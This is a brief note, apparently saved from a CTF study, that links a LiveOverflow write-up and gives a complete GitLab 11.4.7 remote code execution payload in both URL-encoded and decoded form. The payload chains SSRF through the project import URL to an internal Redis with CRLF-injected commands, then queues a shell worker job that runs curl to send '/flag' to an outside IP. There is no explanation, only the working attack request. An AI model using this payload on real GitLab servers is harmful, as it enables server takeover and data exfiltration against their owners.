Gitlab RCE

Gitlab RCE

https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/

1
2
3
4
5
6
7
8
9
10
11
utf8=%E2%9C%93&authenticity_token=aBQJGxvAJfAwdnY%2BlbcsT90CvEuAULfbCHmWzBta7Ni6Su11vxjttnP6TPpQ7QoH3z4V2rPW6jiMp8CDKZiANg%3D%3D&project%5Bimport_url%5D=git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccurl%20http%3a%2f%2f10.8.250.222%3a12343%2f?%60cat%20%2fflag%60%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrxxf.git&project%5Bci_cd_only%5D=false&project%5Bname%5D=sxxxxxxxxxxxxxxfaxxxfa&project%5Bnamespace_id%5D=85&project%5Bpath%5D=sxxxxxxxxxsxxf&project%5Bdescription%5D=&project%5Bvisibility_level%5D=0



utf8=✓&authenticity_token=aBQJGxvAJfAwdnY+lbcsT90CvEuAULfbCHmWzBta7Ni6Su11vxjttnP6TPpQ7QoH3z4V2rPW6jiMp8CDKZiANg==&project[import_url]=git://[0:0:0:0:0:ffff:127.0.0.1]:6379/
 multi
 sadd resque:gitlab:queues system_hook_push
 lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|curl http://10.8.250.222:12343/?`cat /flag`\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
 exec
 exec
/ssrxxf.git&project[ci_cd_only]=false&project[name]=sxxxxxxxxxxxxxxfaxxxfa&project[namespace_id]=85&project[path]=sxxxxxxxxxsxxf&project[description]=&project[visibility_level]=0